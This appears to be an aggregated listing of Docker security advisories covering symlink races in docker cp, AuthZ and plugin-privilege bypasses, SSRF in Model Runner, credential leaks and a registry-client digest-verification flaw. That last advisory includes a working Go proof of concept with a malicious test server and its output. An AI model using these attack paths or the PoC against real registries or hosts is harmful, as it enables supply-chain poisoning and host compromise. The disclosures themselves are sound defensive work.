See how docker compares to other vendors in security performance
Docker Sandboxes versions 0.31.0 before 0.50.0 do not neutralize repository-controlled Git configuration when running certain host-side Git commands. An attacker who can modify a host repository's Git configuration, for example through a direct-mode sandbox with the repository mounted read-write, can configure core.fsmonitor or another Git setting that invokes an external program. Git can execute the program during a later clone-mode fetch or, starting in version 0.39.0, an sbx kit push initiated by the user. The program runs on the host with the invoking user's permissions, outside the sandbox's microVM isolation. The read-only host repository mount provided to a clone-mode sandbox does not itself allow that sandbox to modify the host repository's Git configuration. The issue is fixed in version 0.50.0.
Buildx bake requires the user to grant entitlements with --allow or an interactive prompt before a build reaches outside the working directory. Under --progress=rawjson that consent step is skipped.
Buildx bake requires the user to grant entitlements with --allow or an interactive prompt before a build reaches outside the working directory. Under --progress=rawjson that consent step is skipped.
In Docker Desktop for Windows with the WSL2 backend, an unprivileged Linux container can use 32-bit socketcall to bypass the default seccomp restriction on AFVSOCK. This can expose host-facing services and Windows files accessible to the logged-in user. The issue affects x86-64 WSL2; LinuxKit-based backends are unaffected. The issue is fully fixed only with Docker Desktop 4.98.0 or later and WSL 3.0.3 or later. Docker Desktop 4.98.0 or later running on an older WSL remains affected.
In Docker Buildx versions v0.19.0 through v0.38.0, an untrusted Bake definition may expose files accessible to the Buildx client without the expected fs.read approval. Under certain conditions, paths under the same parent directory as the current working directory whose names use the working directory's basename as a prefix can skip the filesystem entitlement check. Exploitation requires specific matching filenames next to the current project directory. Users who run untrusted Bake definitions may be affected. The issue is fixed in v0.38.1.
In Docker Buildx versions v0.19.0 through v0.38.0, an untrusted Bake definition that builds multiple targets together may expose files accessible to the Buildx client without the expected fs.read approval. Under certain conditions, filesystem paths from some targets are not verified against the approved entitlements. Users who run untrusted Bake definitions may be affected. The issue is fixed in v0.38.1.
In BuildKit versions v0.26.0 through v0.34.1, a specific build definition that resolves metadata for the same Git source reference twice can cause the BuildKit daemon to panic and crash, interrupting builds handled by that daemon. The issue is fixed in v0.34.2.
Asian Arts Talents Foundation (AATF) Website v5.1.x and Docker version 2024.12.8.1 are vulnerable to Cross Site Scripting (XSS). The vulnerability exists in the /ip.php endpoint, which processes and displays the X-Forwarded-For HTTP header without proper sanitization or output encoding. This allows an attacker to inject malicious JavaScript code that will execute in visitor browsers.
Docker Sandboxes sbx cp does not safely confine host-side paths to a shared workspace. A malicious sandbox can create or replace a workspace symlink so that a later user-initiated copy reads a host file outside the workspace into the sandbox or writes sandbox-controlled data to a host path outside the workspace with the invoking user's permissions.
This vulnerability allows local attackers to execute arbitrary code on affected installations of Docker Sandboxes. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-121614.
This vulnerability allows local attackers to execute arbitrary code on affected installations of Docker Sandboxes. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-121614.
Summary
registry/client.(manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.
Details
Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.
Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with: 1. Docker-Content-Digest: <requested-digest> (forged header) 2. A body containing a different, attacker-chosen manifest
The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.
Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.
Relevant code path (repository.go, simplified): go // line ~496 func (ms manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, , err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err }
PoC
go.mod: module poc
go 1.24.10
require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 )
require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golangprotobufextensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/clientgolang v1.1.0 // indirect github.com/prometheus/clientmodel v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect )
main.go: go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main
import ( "context" "fmt" "net/http" "net/http/httptest"
"github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" )
// A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] })
// A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] })
func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close()
name, := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, := repo.Manifests(context.Background())
// Fetch by digest — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } , payload, := m.Payload() got := digest.FromBytes(payload)
if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } }
Output (v2.8.3+incompatible): client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
Impact
Any application that calls registry/client.(manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.
An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.
Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.
Docker Desktop before version 4.97.0 could write third-party API keys and OAuth access tokens in cleartext to local application logs and diagnostics bundles due to insufficient IPC payload redaction. An attacker with read access to these files could obtain the credentials. These OAuth tokens are not Docker account tokens. Docker Desktop 4.94.0 and 4.95.0 addressed the known logging paths, but logs containing credentials can remain after upgrading. Docker Desktop 4.97.0 fixes the issue and includes cleanup of existing host logs and crash dumps.
Summary
A race condition during docker cp mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service.
Details
When copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination is created inside the container root and then a bind mount is attached using the container-relative path resolved to an absolute host path.
Between mountpoint creation and the mount() syscall, a process running inside the container can replace the destination (or a parent path component) with a symlink pointing to an arbitrary location on the host. The mount() syscall follows the symlink, causing the volume to be bind-mounted onto an arbitrary host path instead of the intended container path.
Impact
A malicious container can redirect a volume bind mount to an arbitrary host path. The impact depends on the volume content and mount options:
- If the volume is writable, arbitrary host files at the redirected path could be overwritten with the volume's contents. - If the volume is read-only, the host path is masked by the mount for the duration of the operation, causing denial of service. - In all cases the mount is temporary (torn down after the docker cp completes), but the effects of any writes persist.
Conditions for exploitation
- A container must have at least one volume mount. - A process inside the container must be able to rapidly create and swap symlinks at the volume mount destination path. - An operator must initiate a docker cp into that container, or call the PUT /containers/{id}/archive or HEAD /containers/{id}/archive API endpoints.
Not affected
- Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.
Workarounds
- Only run containers from trusted images. - Avoid using docker cp with untrusted running containers. - Use authorization plugins to restrict access to the archive API endpoints (PUT /containers/{id}/archive, HEAD /containers/{id}/archive).
Moby is an open source container framework. In Docker Engine prior to version 29.5.1, Docker Daemon versions 28.5.2 and prior, and Moby Daemon prior to version 2.0.0-beta.14, a race condition during docker cp mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service. This issue has been patched in Docker Engine version 29.5.1 and Moby Daemon version 2.0.0-beta.14.
Blind VXLAN injection into encrypted overlay networks from cluster peer
Docker Engine classifies a registry hostname as insecure using an any-match DNS check. loadInsecureRegistries() injects 127.0.0.0/8 and ::1/128 as insecure CIDRs by default. isCIDRMatch resolves all of the hostname's addresses and returns true if a single address is in the insecure CIDR list. Because the transport re-dials the hostname rather than the CIDR-matching address, a DNS answer set of one loopback IP plus a non-loopback attacker IP disables certificate verification and enables HTTP fallback for the registry connection.
Summary
A race condition during docker cp mount setup allows a malicious container to create empty files or directories at arbitrary absolute paths on the host filesystem.
This advisory covers the race during mountpoint creation. The related race during the subsequent mount syscall is tracked in GHSA-rg2x-37c3-w2rh
Details
When copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination path is first resolved within the container's root filesystem using GetResourcePath, and then used to create the mountpoint (file or directory) if it does not already exist via createIfNotExists.
Between path resolution and mountpoint creation, a process running inside the container can swap a path component for a symlink pointing to an arbitrary location on the host. Because createIfNotExists operates on the already-resolved absolute path using standard os.MkdirAll and os.OpenFile — which follow symlinks in intermediate path components — the symlink is followed and the file or directory is created outside the container root filesystem, as root.
Impact
A malicious container can create empty files or directories at arbitrary absolute paths on the host filesystem, running as root. This enables persistent denial of service — for example:
- Converting /etc/docker/daemon.json into a directory prevents the daemon from restarting - Creating /etc/nologin prevents user logins - Overwriting critical system paths with empty files can break host services
The container does not gain read or write access to existing host files — only the ability to create new empty files or directories at chosen paths.
Conditions for exploitation
- A container must be running with a process that can rapidly create and swap symlinks at a volume mount destination path. - An operator must initiate a docker cp into that container, or call the PUT /containers/{id}/archive or HEAD /containers/{id}/archive API endpoints.
Not affected
- Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.
Patches
Mountpoint creation is now scoped to the container root using os.Root (Go 1.24+), which refuses to follow symlinks that escape the opened root directory. All filesystem operations in createIfNotExists (MkdirAll, OpenFile) are performed through the os.Root handle, so even if a symlink swap occurs after path resolution, the creation stays confined to the container root.
Workarounds
- Only run containers from trusted images. - Avoid using docker cp with untrusted running containers. - Use authorization plugins to restrict access to the archive API endpoints (PUT /containers/{id}/archive, HEAD /containers/{id}/archive).
Summary
A security vulnerability has been detected that allows attackers to bypass authorization plugins (AuthZ) under specific circumstances. The base likelihood of this being exploited is low.
This is an incomplete fix for CVE-2024-41110.
Impact
If you don't use AuthZ plugins, you are not affected.
Using a specially-crafted API request, an attacker could make the Docker daemon forward the request to an authorization plugin without the body. The authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.
Anyone who depends on authorization plugins that introspect the request body to make access control decisions is potentially impacted.
Workarounds
If unable to update immediately: - Avoid using AuthZ plugins that rely on request body inspection for security decisions. - Restrict access to the Docker API to trusted parties, following the principle of least privilege.
Credits
- 1seal / Oleh Konko (@1seal) - Cody (c@wormhole.guru) - Asim Viladi Oglu Manizada (@manizada)
Resources
- CVE-2024-41110 / GHSA-v23v-6jw2-98fq
Summary
A security vulnerability has been detected that allows plugins privilege validation to be bypassed during docker plugin install. Due to an error in the daemon's privilege comparison logic, the daemon may incorrectly accept a privilege set that differs from the one approved by the user.
Plugins that request exactly one privilege are also affected, because no comparison is performed at all.
Impact
If plugins are not in use, there is no impact.
When a plugin is installed, the daemon computes the privileges required by the plugin's configuration and compares them with the privileges approved during installation. A malicious plugin can exploit this bug so that the daemon accepts privileges that differ from what was intended to be approved.
Anyone who depends on the plugin installation approval flow as a meaningful security boundary is potentially impacted.
Depending on the privilege set involved, this may include highly sensitive plugin permissions such as broad device access.
For consideration: exploitation still requires a plugin to be installed from a malicious source, and Docker plugins are relatively uncommon. Docker Desktop also does not support plugins.
Workarounds
If unable to update immediately: - Do not install plugins from untrusted sources - Carefully review all privileges requested during docker plugin install - Restrict access to the Docker daemon to trusted parties, following the principle of least privilege - Avoid relying on plugin privilege approval as the only control boundary for sensitive environments
Credits
- Reported by Cody (c@wormhole.guru, PGP 0x9FA5B73E)
An issue was discovered in Docker Engine before 19.03.11. An attacker in a container, with the CAPNETRAW capability, can craft IPv6 router advertisements, and consequently spoof external IPv6 hosts, obtain sensitive information, or cause a denial of service.
Impact
Pulling an intentionally malformed Docker image manifest crashes the dockerd daemon.
Patches
Versions 20.10.3 and 19.03.15 contain patches that prevent the daemon from crashing.
Credits
Maintainers would like to thank Josh Larsen, Ian Coldwater, Duffie Cooley, Rory McCune for working on the vulnerability and Brad Geesaman for responsibly disclosing it to security@docker.com.
In Docker CE and EE before 18.09.8 (as well as Docker EE before 17.06.2-ee-23 and 18.x before 18.03.1-ee-10), Docker Engine in debug mode may sometimes add secrets to the debug log. This applies to a scenario where docker stack deploy is run to redeploy a stack that includes (non external) secrets. It potentially applies to other API users of the stack API if they resend the secret.
Impact
When using --userns-remap, if the root user in the remapped namespace has access to the host filesystem they can modify files under /var/lib/docker/<remapping> that cause writing files with extended privileges.
Patches
Versions 20.10.3 and 19.03.15 contain patches that prevent privilege escalation from remapped user.
Credits
Maintainers would like to thank Alex Chapman for discovering the vulnerability; @awprice, @nathanburrell, @raulgomis, @chris-walz, @erin-jensby, @bassmatt, @mark-adams, @dbaxa for working on it and Zac Ellis for responsibly disclosing it to security@docker.com
Last updated 25 August 2025
Last updated 25 August 2025
In Docker 19.03.x before 19.03.1 linked against the GNU C Library (aka glibc), code injection can occur when the nsswitch facility dynamically loads a library inside a chroot that contains the contents of the container.
Impact
A bug was found in the Docker CLI where running docker login my-private-registry.example.com with a misconfigured configuration file (typically ~/.docker/config.json) listing a credsStore or credHelpers that could not be executed would result in any provided credentials being sent to registry-1.docker.io rather than the intended private registry.
Patches
This bug has been fixed in Docker CLI 20.10.9. Users should update to this version as soon as possible.
Workarounds
Ensure that any configured credsStore or credHelpers entries in the configuration file reference an installed credential helper that is executable and on the PATH.
For more information
If you have any questions or comments about this advisory:
Open an issue Email us at security@docker.com if you think you’ve found a security bug
In Docker through 18.06.1-ce-rc2, the API endpoints behind the 'docker cp' command are vulnerable to a symlink-exchange attack with Directory Traversal, giving attackers arbitrary read-write access to the host filesystem with root privileges, because daemon/archive.go does not do archive operations on a frozen filesystem (or from within a chroot).
Summary Docker Model Runner contains an SSRF vulnerability in its OCI registry token exchange flow. When pulling a model, Model Runner follows the realm URL from the registry's WWW-Authenticate header without validating the scheme, hostname, or IP range. A malicious OCI registry can set the realm to an internal URL (e.g., http://127.0.0.1:3000/), causing Model Runner running on the host to make arbitrary GET requests to internal services and reflect the full response body back to the caller. Additionally, the token exchange mechanism can relay data from internal services back to the attacker-controlled registry via the Authorization: Bearer header.
Patches Fixed in Docker Model Runner v1.1.25 Docker Desktop users should update to 4.67.0 or later, which includes the fixed Model Runner.
Workarounds For Docker Desktop users, enabling Enhanced Container Isolation (ECI) blocks container access to Model Runner, preventing exploitation. However, if the Docker Model Runner is exposed to localhost over TCP in specific configurations, the vulnerability is still exploitable.
Impact An unprivileged container or a malicious OCI registry that the user performed a pull from might issue GET requests to host-local services (localhost, internal network)